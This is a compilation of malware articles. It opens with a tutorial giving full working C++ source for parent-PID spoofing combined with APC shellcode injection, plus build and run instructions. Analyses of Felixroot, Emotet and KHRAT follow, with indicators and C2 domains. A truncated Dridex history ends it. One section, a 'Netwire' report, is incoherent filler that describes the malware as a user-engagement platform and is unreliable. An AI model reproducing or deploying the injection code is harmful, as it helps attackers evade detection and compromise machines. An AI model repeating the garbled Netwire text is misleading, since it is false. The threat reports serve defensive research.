# Malware Development Tricks: Parent PID Spoofing Hello, cybersecurity enthusiasts and white hackers! This article is the result of my own investigation into an interesting trick: parent process ID spoofing. ## Parent PID Spoofing Monitoring the relationships between parent and child processes is a common method used by threat hunting teams to identify malicious activities. Red teams have adopted parent PID spoofing as a method of evasion. The `CreateProcess` Windows API call supports a parameter that allows the user to specify the Parent PID. This means that a malicious process can use a different parent than the one being executed when it is created. ## Practical Example Let’s look at a practical example. First of all, let’s say that we have some process, like `mspaint.exe`: As you can see, PID is `3396`. If we look at its parent process (PID: `2876`), we can see `explorer.exe`. Also, we can see via Process Hacker that the current directory is `C:\Windows\System32`. Then, the execution flow of this trick is detailed in the following steps: I got `explorer.exe` PID: ```cpp int pid = findMyProc(argv[1]); if (pid) { printf("PID = %d\n", pid); } ``` Create process `mspaint.exe`: ```cpp CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&si), &pi); ``` Write `meow-meow` payload to created process memory: ```cpp BOOL res = WriteProcessMemory(pi.hProcess, ba, (LPVOID)my_payload, sizeof(my_payload), nb); ``` Add a user-mode asynchronous procedure call (APC) object to the APC queue of the thread of the created process: ```cpp QueueUserAPC((PAPCFUNC)ba, pi.hThread, 0); ``` Resume thread: ```cpp ResumeThread(pi.hThread); CloseHandle(pi.hThread); ``` So, the full source code of this trick is: ```cpp /* hack.cpp parent PID spoofing with APC author: @cocomelonc */ #include <windows.h> #include <tlhelp32.h> #include <iostream> int findMyProc(const char *procname) { HANDLE hSnapshot; PROCESSENTRY32 pe; int pid = 0; BOOL hResult; hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hSnapshot) return 0; pe.dwSize = sizeof(PROCESSENTRY32); hResult = Process32First(hSnapshot, &pe); while (hResult) { if (strcmp(procname, pe.szExeFile) == 0) { pid = pe.th32ProcessID; break; } hResult = Process32Next(hSnapshot, &pe); } CloseHandle(hSnapshot); return pid; } int main(int argc, char* argv[]) { unsigned char my_payload[] = "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41" "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60" "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72" "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac" "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2" "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48" "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f" "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49" "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01" "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01" "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41" "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b" "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58" "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7" "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e" "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83" "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e" "\x2e\x2e\x5e\x3d\x00"; STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T st; int pid = findMyProc(argv[1]); if (pid) { printf("PID = %d\n", pid); } HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, false, (DWORD)pid); ZeroMemory(&si, sizeof(STARTUPINFOEXA)); InitializeProcThreadAttributeList(NULL, 1, 0, &st); si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, st); InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &st); UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &ph, sizeof(HANDLE), NULL, NULL); si.StartupInfo.cb = sizeof(STARTUPINFOEXA); CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&si), &pi); LPVOID ba = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); SIZE_T *nb = 0; BOOL res = WriteProcessMemory(pi.hProcess, ba, (LPVOID)my_payload, sizeof(my_payload), nb); QueueUserAPC((PAPCFUNC)ba, pi.hThread, 0); ResumeThread(pi.hThread); CloseHandle(pi.hThread); return 0; } ``` As you can see, I reused my code from this and this posts. Here I have hardcoded a bit the process which is being started; you can modify it so that it accepts it from the command-line arguments. ## Demo Let’s go to see everything in action. Compile our “malware”: ```bash x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mwindows -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive ``` Then run it on the victim’s machine: ```bash .\hack.exe explorer.exe ``` Run Process Hacker and as you can see, `mspaint.exe` process successfully created (PID: `4720`). And as you can see, the parent process is `2876`, which corresponds to `explorer.exe`, but the current directory is `Z:\2022-09-06-malware-tricks-23`! And what is in the process memory? So everything works perfectly :) Actually, I deceived you a little. In my example, it’s not just parent process spoofing. It’s a combination of PPID spoofing and APC injection. Because I am also learning new things like you, and sometimes you need to ask yourself questions and don’t be afraid to experiment. Let’s go to upload `hack.exe` to VirusTotal: So, 20 of 70 AV engines detect our file as malicious. This technique is used in Cobalt Strike and KONNI RAT. For example, Cobalt Strike can spawn processes with alternate PPIDs. Originally, this technique was introduced into the wider information security audience in 2009 by Didier Stevens. I hope this post spreads awareness to the blue teamers of this interesting technique and adds a weapon to the red teamers' arsenal. This is a practical case for educational purposes only. Thanks for your time, happy hacking, and goodbye! PS. All drawings and screenshots are mine.
# When a Malware is More Complex Than the Paper FireEye has published a paper on the backdoor Felixroot after using two vulnerabilities CVE-2017–0199 and CVE-2017–11882. The RTF document drops an executable. The analyst explains: The dropped executable (MD5: 78734CD268E5C9AB4184E1BBE21A6EB9) contains the compressed FELIXROOT dropper component in the Portable Executable (PE) binary overlay section. When it is executed, it creates two files: an LNK file that points to `%system32%\rundll32.exe`, and the FELIXROOT loader component. The LNK file is moved to the startup directory. But it’s not so easy. The dropper copies two PE files after using RC4 and a custom decompression function in memory. The two PE files are an installer and the backdoor Felixroot. The installer puts the backdoor on the disk and, after decrypting strings, it creates persistence (an LNK in the startup folder) and executes rundll32 with Felixroot, using some anti-forensic techniques to change the timestamps of the backdoor. ## Technical Details ### Encryption and Decompression After a look with Pestudio, the overlay is 53% of the dropper and the entropy is 7.994, which is too high for compression. To dump the overlay, two lines of Python are enough. The overlay starts at 0xD800 in the file. ```python overlay = open('573ea78afb50100f896185164da3b8519e2e0f609a34a7c70460eca5b4ae640d', 'rb').read()[0xD800:] open('overlay.dump', 'wb').write(overlay) ``` So launch the debugger to understand how this overlay is used by the dropper. The dropper starts to read itself. The file handler is in EAX as value 288. If we check in IDA, this part is badly interpreted by IDA. It’s patched at runtime. The dropper seeks to D800 to set EAX at the start of the overlay. ### RC4 and Custom Decompression If we check in IDA where we are, this function is in a huge function with many jumps. It seems this function is like a packer. In the second step, it reads 40 bytes (from C08 to C30). The loop is made by the jump to go to the start of the function if the 40 bits are not read. After reading the 40 bits, we have a loop of 256 steps to store 01 to 256 on the stack. And it manipulates the 40 bytes and stores the result on the stack in a loop of 256 steps. A third function with arithmetic operations works on the overlay with the results of the two last functions. The result of this function is stored at the same place of the overlay in C30. The key of the RC4 is the first 40 bytes of the overlay: ``` 1B 73 B4 17 5E 5F 14 59 AF F7 BA AF DA 75 AB F5 19 4D 32 50 36 01 46 30 09 AB 9C 09 4D B2 74 01 9E C0 C0 9E FD B9 ED E5 ``` The result seems to be a PE file but not totally. After that, the dropper increases the stack from 12F000 to 12C000 before launching the decompression function. The dropper puts the three bytes [AB, CD, EF] in the stack. If C or D == 0, then the dropper writes AB or EF. If C != 0, then the dropper writes 0 and the number of 0 depends on AB. If D != 0, then the dropper writes 0 and the number of 0 depends on EF. The dropper decodes two PE files: another dropper which we name "drop" and the backdoor Felixroot. Felixroot is copied to 378C38. The "drop" is copied after a VirtualAlloc at 20000 and executed in 00021964. ### Installation The "drop" verifies if it’s executed after the dropper by checking a mutex. If it’s okay, "drop" checks if it’s executed on a 64-bit system to correctly set the parameters of decoding strings. The function is a XOR with a and with FF. The data to decrypt is in "drop" resources. The result of the first decoding function is `\\System32`. Rundll32.exe is the result of the second decoding. "Drop" drops the backdoor after decoding strings to set in which folder the backdoor is dropped. It decodes the pattern of the path `L”%lS\\%lS\\%lS.dbf”`. It chooses the special folder: `%APPDATA%/Roaming/Microsoft/`. In 32-bit, this folder is not used, making it very easy to hide malware. The path of the file is: `C:\\Users\\IEUser\\AppData\\Roaming\\Microsoft\\{22B4CEF1–633C-4F94–824E-0C207AC4F2DF}.dbf`. The name of the file changes at each execution. "Drop" writes the backdoor to disk from 378C38 in sub 210E5. It decodes a string to have the path: `c:\\windows\\system32\\msvcrt.dll`. In sub_00021845, "drop" catches the creation date of `c:\\windows\\system32\\msvcrt.dll`. "Drop" changes the attributes of the timestamps (creation date of the file, last modified, etc.) of the backdoor, switching the value with `L”c:\\windows\\system32\\msvcrt.dll”` in sub_000218AF. The persistence is created. The first step is the decoding of the name of the file in 00021A1A. The result is `.lnk`. After that, it creates the persistence of the backdoor in sub_000211D7. It’s a shortcut installed in the startup folder and creates a copy in the roaming folder. In sub_216D1, "drop" installs the shortcut in the Startup Folder and copies the shortcut, executing it with the function ShellExecute. The LNK runs rundll32.exe with the .dbf and ordinal 1 of the export of the DLL. ### Few Words About Threat Intel It’s strange that FireEye hasn’t published a full paper with the analysis of the dropper and the backdoor. The dropper uses many interesting techniques: - RC4 encryption - Custom decompression function - Rundll32 to bypass AppLocker and AV - Change timestamps of the installed files - Decrypting strings to install the backdoor - Decrypting strings for the persistence settings The function sub_406681 is very interesting, and it’s very difficult to create YARA rules on it because there are many jumps to have enough binaries to make a rule. The RC4 encryption and a decompression function are in this function. Thanks to the zone de confort for trying to understand this decompression function and to @FliegenEinhorn for finding the sample!
# Emotet: The Tricky Trojan that ‘Git Clones’ **Research by:** Ofer Caspi, Ben Herzog **Date:** July 24, 2018 The Emotet Trojan downloader originally debuted in 2014 as a banking Trojan that took an unusual approach to stealing banking credentials. Instead of hooking per-browser functions in the victim’s web browser process, Emotet directly hooked network API functions. Four years have passed since 2014, and Emotet continues to be a point of interest; not many would-be botnets live to see their fourth birthday. Analysts have been rather preoccupied with Emotet – and for good reason. Despite its age, Emotet is far from just barely alive. It spreads itself abundantly through spam emails, network shares, and the Rig Exploit Kit. While some features have stayed constant, during the four years of Emotet’s lifecycle, modules have come and gone. Most significantly, the banking module, previously the malware’s core functionality, was removed at some point in 2017. There are several things that stand out about Emotet, but foremost among them is its modular structure and complex ecosystem. To have a working business model, it is technically enough to have the C&C server say “here, take this file and execute it.” As a result, it’s not every botnet that bothers to set up an ecosystem of modules, let alone one that even has the concept of a “version.” But Emotet does, including a communication protocol built on top of Google’s Protobuf, utilizing LZMA compression and built on asymmetric crypto. The authors would probably take “over-engineered” as a compliment. The use of Protobuf is not an isolated incident. Emotet is uncharacteristically eager to employ third-party open source code. Most malware authors just can’t be bothered to do a literature review of existing solutions to their problem and would rather re-invent the wheel. Some authors do admit defeat and incorporate one or another piece of third-party code into their creation, but that’s still nothing compared to the leap made by the Emotet team, whose code directory tree literally has an “Open Source” folder in it. Apart from communication protocols implemented with Protobuf, Emotet features, for example, web servers written in Libevent and encryption built on top of OpenSSL. In the category of conspicuous interest in the open source community, this puts Emotet squarely ahead of the vast majority of malware (and narrowly behind Microsoft). Emotet is invested in the technical cat-and-mouse game of malware ‘author vs. analyst’ more than could possibly be healthy (for either the author or the analyst). Where the GandCrab guys went for banter and spectacle, the Emotet team went with a grim, humorless determination to use every method they could think of to stick it to the man with the disassembler. Just one example — in Code Obfuscation 101 you read about “converting control flow structures into a state machine”; it then remains one of those things-that-could-theoretically-be-done, like using difficult opaque predicates or compiling the malware with The Movfuscator. Emotet goes and actually uses a state machine for its main control flow. ## Technical Details ### Main Module / Dropper The main functionality of Emotet’s dropper is three-fold: 1. Update the malware to its latest version. 2. Achieve persistence on the victim system. 3. Download and execute the modules, which serve as the malware’s main payload. By updating itself with high frequency and constantly rotating its C&C servers, Emotet stays ahead of signature-based AV products and manages to retain the foothold that it has in the botnet arena. This same principle applies to the dropper executable itself, hosted on Emotet’s C&C server. Frequently rotating it, and the accompanying modules, makes sure that during at least the few following hours, AV signatures will not be able to simply pattern-match the files as malicious and will have to rely on more advanced and more delicate methods such as ML engines and behavioral analysis. The dropper is packed, and while it is constantly rotated, most of the functionality stays constant and changes tend to be minor. As is standard for malware strains of this type, the Emotet dropper collects information from the infected machine such as the Computer and User name, OS version, and the list of processes running on the victim machine. Once all this information is gathered and the malware is updated to its latest version, Emotet sends a request to the C&C server. Addresses of potential live C&C servers, and the Emotet servers’ RSA public key, are all hard-coded in the malware executable. The addresses are in plain IP format followed by a port number (somewhat atypically; malware authors usually favor domain names). Communication is encrypted with a randomly-generated AES key, which is encrypted using the server public key and appended to the message. This protocol is unusually cryptographically sound and even a person with full access to the malware sample and a traffic log will be unable to recover the original communication unless the original process that spawned the AES key is still running. Assuming the request successfully goes through, the C&C server responds with an up-to-date list of modules. Usually during this transaction, the infected client will receive between 2 and 5 modules; the exact number depends on the information an infected system sends to the C&C. The request method periodically rotates between a GET and a POST, probably as a small gesture to further frustrate attempts to communicate with the server directly. When using GET, the request body is instead sent as the cookie header. As a part of the request, the infected host will include the current malware file hash; the server uses this information to decide whether the Emotet version that issued the request needs to be updated. If the hash is of an old version of the malware, a new Emotet version is sent; otherwise, execution proceeds as described above, and the modules are executed. When responding, the C&C server uses the same AES key that the client sent originally. On a typical malware, these communications would take place over raw TCP or HTTP, and would probably use GET request parameters or some homebrew format in the request body to transfer information. Encryption or obfuscation might be used, but the underlying protocol is almost invariably of this “deadline is due tomorrow” kind. In contrast, Emotet’s messages are constructed and parsed using Protocol Buffers (“ProtoBuf”), Google’s “language-neutral, platform-neutral, extensible mechanism for serializing structured data.” ### Emotet’s Modules Emotet’s modules have come and gone over the years. The large variety we have observed over time leads us to the conclusion that a module may be tailored to the customer, if the price is right. Based on what we know, we estimate the price of Emotet to be somewhere in the $2000 range. Emotet’s modules that we’ve seen in the wild so far all share the same general structure: They are DLL files, not packed but otherwise moderately obfuscated. First, a homebrew Import Table is constructed by dedicated functions comparing against the functions’ hash value by a homebrew hash function. This is similar, but not identical, to methods of full dynamic resolution commonly seen in malware, where every call to a function passes through a “filter” which searches for that function by hash. Here, all the functions are resolved first, and the main flow is reached later. This has the effect of making analysis somewhat less of a hassle. All DLL names, function names, and other incriminating strings are obfuscated using a simple rotating XOR cipher (the decryption function for which is, itself, obfuscated to make it look rather more complicated than it really is). Once function resolution is done, the module typically proceeds to its main functionality. Here the modules can be separated, in broad strokes, into two types: the “wrapper” modules and the “original” modules. “Wrapper” modules are modules that are thin wrappers for ready-made data mining executables courtesy of Nirsoft. Under this category, one might find a module dedicated to mining credentials stored in the user’s web browser, which is just a thin wrapper for the freeware tool WebBrowserPassView, a whole copy of which is embedded into the malware (and encrypted using rotating XOR). Similarly, there is an “email credential stealer” module which is a wrapper for MailPassView. “Original” modules have been implemented from scratch by Emotet’s author. Their tactics vary, but our general impression is that most of these do not directly subvert/monetize the victim (as do miners, backdoors, ransomware, etc.), and are instead aimed at getting more people infected with Emotet. For instance, one of the modules uses the deprecated Simple MAPI interface in order to harvest the list of MS-Outlook’s locally stored email addresses, which are later used to send Emotet Spam. Even more straightforward is the “Worm” module, which has a built-in table of passwords that it uses to try and brute-force accessible SMB shares, so it can infect more stations on the LAN with Emotet. One last curiosity that we have seen is a rather convoluted module that was linked with the libevent library and UPnP functionality. UPnP was used to enable port forwarding and make the victim machine accessible from the WAN, whereas Libevent was used to set up a simple server that answers with an “EHLO” to incoming packets. This seems to be some sort of PoC or sanity check, checking if the compromised machine has been successfully made accessible from the outside and is available for the C&C to initiate contact with. ### Some Samples During our research, we found it difficult to obtain Emotet modules for testing. Few of the (excellent) write-ups on this strain of malware offered access to module hashes, and fewer still had the hashes identified by the module function or were available for download anywhere. Obtaining the modules independently requires direct communication using Emotet’s overwrought communication protocol, and then the modules themselves that you get are somewhat of a lottery (not to mention that, as described above, if you use an out-of-date executable or protocol you get an updated version of Emotet instead of the modules; finding out about that was fun). Therefore, for what it is worth, we have uploaded the above-mentioned modules to VirusTotal, and provide their hashes and descriptions below. These were retrieved late May 2018. We hope they are of use to you. | sha256 | module | purpose | |--------|--------|---------| | d4491f9b885bba06d7ee6e02e6e71272893638bbb92f2c23b9ddf52f8a26a702 | Email address harvester | | 621c0a11ee0100b8fc3190e471ed4936204e897d97394ba9614ec95f1b69c69C | Email credential stealer | | d7efad30d0a56983fba15f0be28877bd7d55c723388005baa322b94c02540f11 | Spam | | 86cf916c547b6f228b8e7bd4667715db0467c3d141f6226e27025797aeca10ec | Browser Credential Stealer | | 022a5dfe18ee332c020a245cac64f4aa4fc5dd528f79923d00d8ffe376fc76da | Connection Verifier / “EHLO” responder | ## Conclusion With its years of experience and sophisticated ecosystem, Emotet seems to be here to stay. Its eagerness to make use of open-source libraries, and “do the right thing” in general, is both refreshing and alarming. Easy access to third-party libraries is known to be a powerful stimulant for any development process, and discipline in design definitely has its benefits, as well as its pitfalls. Who knows — maybe in a few years we will see enterprise-grade malware written in Java which invokes `RansomwareResourceMediator.getMediatorInstance()` and `MoneroMinerFactory.getAbstractMiner()`. ## Detection The following Check Point products detect the Emotet Trojan: - ThreatCloud: as Emotet (Emotet.TC) - Threat Emulation: as Worm.Win.Emotet.A or Worm.Win.Emotet.B
# Updated KHRAT Malware Used in Cambodia Attacks **By Alex Hinchliffe and Jen Miller-Osborn** **August 31, 2017** **Category: Unit 42** **Tags: KHRAT, RAT, Remote Access Trojans** ## Introduction Unit 42 recently observed activity involving the Remote Access Trojan KHRAT used by threat actors to target the citizens of Cambodia. KHRAT is named for its Command and Control (C2) infrastructure, which was previously located in Cambodia. The Trojan registers victims using their infected machine’s username, system language, and local IP address. KHRAT provides typical RAT features and access to the victim system, including keylogging, screenshot capabilities, and remote shell access. This report covers contemporary variants of KHRAT, discussing updated techniques and a recent attack affecting Cambodians, including: - Updated spear phishing techniques and themes - Multiple techniques to download and execute additional payloads using built-in Windows applications - Expanded infrastructure mimicking the name of the well-known cloud-based file hosting service, Dropbox In its various forms, including document files, executables, and dynamic link libraries, KHRAT is not very prevalent, with just over fifty network sessions seen across our sensors since the start of the year, with a slight uptick visible in the last couple of months. ## Attack Delivery On June 21, 2017, a Word document was uploaded to Wildfire, determined to be malicious and visible in Autofocus with some interesting malicious behavior tags, namely AppLockerBypass, CreateScheduledTask, and RunDLL32_JavaScript_Execution. There were indications this file was related to the actors using KHRAT malware. The weaponized document (SHA256: c51fab0fc5bfdee1d4e34efcc1eaf4c7898f65176fd31fd8479c916fa0bcc7cc), with the filename “Mission Announcement Letter for MIWRMP phase 3 implementation support mission, June 26-30, 2017(update).doc”, was shown in AutoFocus as contacting a Russian IP address 194.87.94[.]61 over port 80 in the form of an HTTP GET request to update.upload-dropbox[.]com, intended to trick victims and network defenders into thinking the C2 traffic is legitimate. The acronym MIWRMP refers to the Mekong Integrated Water Resources Management Project, a multi-million dollar, World Bank funded project relating to effective water resource and fisheries management in North Eastern Cambodia, which happens to be in its third phase—matching the document’s filename. The attackers took steps to make the malware appear to be a legitimate file. Once Word has rendered the document, and the macro content has been enabled, the VBA code, which exists as part of the “Open” macro, will run automatically. The victim would see the document contents change to display, "Because your Office version isn't compatible with the document, it can't be opened, according to the prompts to open the compatibility mode and then you can continue to view the document." This could be a distraction technique making the victim believe there truly is a compatibility issue. The VBA code from the document’s macro describes the malicious behavior. Line 6 of the code creates a new scheduled task using the CLI program schtasks.exe (CreateScheduledTask) together with the associated parameters, including rundll32.exe and JavaScript parameters (RunDLL32_JavaScript_Execution). This is a known method for tricking rundll32.exe into loading the mshtml.dll library, calling the exported function RunHTMLApplication, and executing the subsequent JavaScript code. The AutoFocus tag CreateScheduledTask indicates that a given application, irrespective of malicious classification, is capable of creating tasks for the Windows scheduler to execute. This is often used by malware for maintaining persistence or aiding spreading throughout a network using remote hosts’ scheduler to execute payloads. Since the start of this year, this behavior has been seen consistently during dynamic analysis of malware, averaging over three thousand malicious sessions per day containing malware using this technique, and spiking towards the end of July to between twenty and forty thousand sessions each day in one week. The number of malware samples exhibiting the behavior relating to the RunDLL32_JavaScript_Execution AutoFocus tag has been seen much smaller compared to CreateScheduledTask, averaging about one malicious session per day. This technique was last seen around the date of the KHRAT activity discussed in this report. As mentioned previously, AutoFocus also tagged the document file as exhibiting a malicious behavior named “AppLockerBypass”, which relates to a technique discovered last year, whereby regsvr32.exe can download and execute scripts within XML files hosted on URLs. This technique works on many versions of Windows Operating System and can be used to download and execute programs that would otherwise be prevented by AppLocker policies or rules. Line 7 of the code performs this activity. At the time of writing, logo33_bak.ico and logo33.ico files referenced in the VBA macro code were unavailable, and it’s not known exactly their contents or purpose. However, judging by other .ico files downloaded in similar ways from related components of KHRAT malware, it’s fair to assume they would include methods to add further persistence to the actor’s attack or install further payloads towards their objectives. During dynamic analysis of this malicious document and downloaded payloads in our Wildfire sandbox, modifications were also made to the Windows registry. Specifically, the MRU (Most Recently Used) list of documents opened using Microsoft Word was updated such that all items referenced each of the filenames listed below. This would mean that should the victim load any documents from their most recently used document list, Word would open the malicious document again. - QQYXDK0tQH.docm - MGm.docx - 9sxAwWnA.docm - 8Y0kVy.doc - W4.docm - oDF.docx - Mk3tj.doc - 77ajEQp0fn.docx - eSjo0J.doc - bp8OB7.docx - Y.docx - pjuhm0HWeKE.doc - WktDOjyzu.docm The registry key modified is shown below where <version> would relate to the version of Office installed, e.g., 14.0, and <number> would relate to the most recent document list. In the case of KHRAT, the first 14 MRU items were updated: `HKCU\Software\Microsoft\Office\<version>\Word\File MRU\Item <number>` ## Fake “Dropbox” Infrastructure Pivoting using the data points discussed thus far, such as the domain name update.upload-dropbox[.]com, the Russian IP address, or indeed the registrant email address for the domain—misspelt mail.noreoly@gmail[.]com—provides insight into the initial infrastructure supporting this campaign. Additional research into upload-dropbox[.]com uncovered samples beaconing to third levels of both it and inter-ctrip[.]com, as well as PDNS overlaps between multiple third levels of each domain. inter-trip[.]com has previously been reported as a C2 related to this activity. The actor-registered inter-ctrip[.]com is very similar to two legitimate travel websites, ctrip.com and intertrips.com. While researching the infrastructure, we also found an additional malicious domain not previously reported, vip53[.]cn. As with the aforementioned two domains, it is actor-registered and has multiple third level domains being used as C2s. All of the IPs to which these C2 domains resolved, when it was possible to identify the owner, are tied to either VPS providers or legitimate but compromised infrastructure. ## Installation & Persistence ### KHRAT Dropper Sample (2) (SHA256: 53e27fd13f26462a58fa5587ecd244cab4da23aa80cf0ed6eb5ee9f9de2688c1) is a very small—2,560 byte—Portable Executable (PE) file hosted on the compromised government servers, and downloaded in web-browsing sessions by organizations based in Cambodia. According to AutoFocus, these sessions indicated the EXE filename was either ‘news’ or ‘logo’ and, in both cases, the extension was ‘.jpg’. The Microsoft Visual C++ compiled program ‘news.jpg’ simply calls the WinExec Windows API to launch another application—regsvr32.exe—passing the parameters shown in Figure 5 below, before exiting. This activity is tagged in AutoFocus as “AppLockerBypass”. This variant of KHRAT runs regsvr32.exe using the ‘/I’ option to pass a command line—the URL in this case—as a parameter when registering scrobj.dll—Microsoft's Script Component Runtime. Regsvr32.exe will download logo.ico—an XML registration script—from update.upload-dropbox[.]com. The contents of logo.ico includes a VBS script to harvest a list of running processes from the system using the Windows Management Instrumentation (WMI). This list is then sent as an HTTP POST to the PHP script http://update.upload-dropbox[.]com/docs/tz/GetProcess.php. Another component related to the campaign is sample (4) (SHA256: c0baa57cbb66b8a86aac7d4eeab7a0dc1ecfb528d8e92a45bdb987d1cd5cb9b2). This PE executable attempts to download http://update.upload-dropbox[.]com/images/flash/index.ico, highlighting their consistent use of techniques to remain persistent and download further malicious components. ### KHRAT DLL At the time of writing, a DLL component was not downloaded and executed. However, AutoFocus indicates that during the Wildfire detonation of one of the droppers in June, a DLL component is present and called using rundll32.exe to run the DLL—WIN.DAT—passing the parameters K1 or K3 depending on the function required by the caller. Furthermore, the registry activity gathered from Wildfire indicates a persistence mechanism whereby the DLL will be loaded via a Registry Run key, passing K1 as the parameter. ### Chinese Developer Network Click-Tracker During investigation of the KHRAT dropper code responsible for sending process lists to http://update.upload-dropbox[.]com/docs/tz/GetProcess.php, I reviewed some of the responses and content received. Working my way from the root of the site backwards to the GetProcess.php script, I encountered a mixture of HTTP 500 – Internal Server Error and HTTP 403 – Forbidden messages from the server. However, when browsing the root of the /tz/ folder, I noticed an interesting one-line HTML code snippet loading a JavaScript from http://doc.upload-dropbox[.]com/docs/tz/probe_sl.js. The JavaScript code in probe_sl.js uses a click-tracking technique, presumably so the actors can monitor who is visiting their site. It may also be an attempt to control the distribution of later stage malware and tools, by only sending it in response to requests from desired victims or vulnerable systems, and dropping requests from others such as researchers. ## Conclusion The threat actors behind KHRAT have evolved the malware and their TTPs over the course of this year, in an attempt to produce more successful attacks, which in this case included targets within Cambodia. This most recent campaign highlights social engineering techniques being used with reference and great detail given to nationwide activities, likely to be forefront of peoples’ minds; as well as the new use of multiple techniques in Windows to download and execute malicious payloads using built-in applications to remain inconspicuous. We believe this malware, the infrastructure being used, and the TTPs highlight a more sophisticated threat actor group, which we will continue to monitor closely and report on as necessary. ## Indicators of Compromise **KHRAT Delivery Document:** c51fab0fc5bfdee1d4e34efcc1eaf4c7898f65176fd31fd8479c916fa0bcc7cc **KHRAT Dropper:** 53e27fd13f26462a58fa5587ecd244cab4da23aa80cf0ed6eb5ee9f9de2688c1 **KHRAT Payload:** c0baa57cbb66b8a86aac7d4eeab7a0dc1ecfb528d8e92a45bdb987d1cd5cb9b2 **KHRAT DLL:** de4ab35a2de67832298f5eb99a9b626a69d1beca78aaffb1ce62ff54b45c096a **Related infrastructure:** - upload-dropbox[.]com - update.upload-dropbox[.]com - doc.upload-dropbox[.]com - date.upload-dropbox[.]com - ftp.upload-dropbox[.]com - inter-ctrip[.]com - kh.inter-ctrip[.]com - bit.inter-ctrip[.]com - cookie.inter-ctrip[.]com - help.inter-ctrip[.]com - dcc.inter-ctrip[.]com - travehappy.inter-ctrip[.]com - online.inter-ctrip[.]com - upgrade.inter-ctrip[.]com - vip53[.]cn - dns.vip53[.]cn - ftp.vip53[.]cn - mail.vip53[.]cn - nc.vip53[.]cn - nz.vip53[.]cn - sl.vip53[.]cn - sz.vip53[.]cn - yk.vip53[.]cn
# Netwire Technical Analysis Report ## Introduction This report provides a comprehensive analysis of the technical aspects of Netwire. It covers various metrics and indicators that are essential for understanding the performance and potential of the platform. ## Key Metrics - **User Engagement**: The platform has shown a steady increase in user engagement over the past quarter. - **Performance Indicators**: Key performance indicators (KPIs) indicate a positive trend in user retention and satisfaction. ## Technical Overview ### System Architecture Netwire operates on a robust architecture designed to handle high traffic and ensure reliability. The system is built using scalable technologies that allow for seamless updates and maintenance. ### Security Features Security is a top priority for Netwire. The platform employs advanced encryption methods and regular security audits to protect user data. ## Conclusion The technical analysis of Netwire indicates a strong foundation and promising future. Continuous improvements and updates will further enhance its capabilities and user experience.
# Dridex: A History of Evolution **Authors** Nikita Slepogin The Dridex banking Trojan, which has become a major financial cyberthreat in the past years (in 2015, the damage done by the Trojan was estimated at over $40 million), stands apart from other malware because it has continually evolved and become more sophisticated since it made its first appearance in 2011. Dridex has been able to escape justice for so long by hiding its main command-and-control (C&C) servers behind proxying layers. Given that old versions stop working when new ones appear and that each new improvement is one more step forward in the systematic development of the malware, it can be concluded that the same people have been involved in the Trojan’s development this entire time. Below we provide a brief overview of the Trojan’s evolution over six years, as well as some technical details on its latest versions. ## How It All Began Dridex made its first appearance as an independent malicious program (under the name “Cridex”) around September 2011. An analysis of a Cridex sample (MD5: 78cc821b5acfc017c855bc7060479f84) demonstrated that, even in its early days, the malware could receive dynamic configuration files, use web injections to steal money, and was able to infect USB media. This ability influenced the name under which the “zero” version of Cridex was detected — Worm.Win32.Cridex. That version had a binary configuration file: Sections named databefore, datainject, and dataafter made the web injections themselves look similar to the widespread Zeus malware (there may have been a connection between this and the 2011 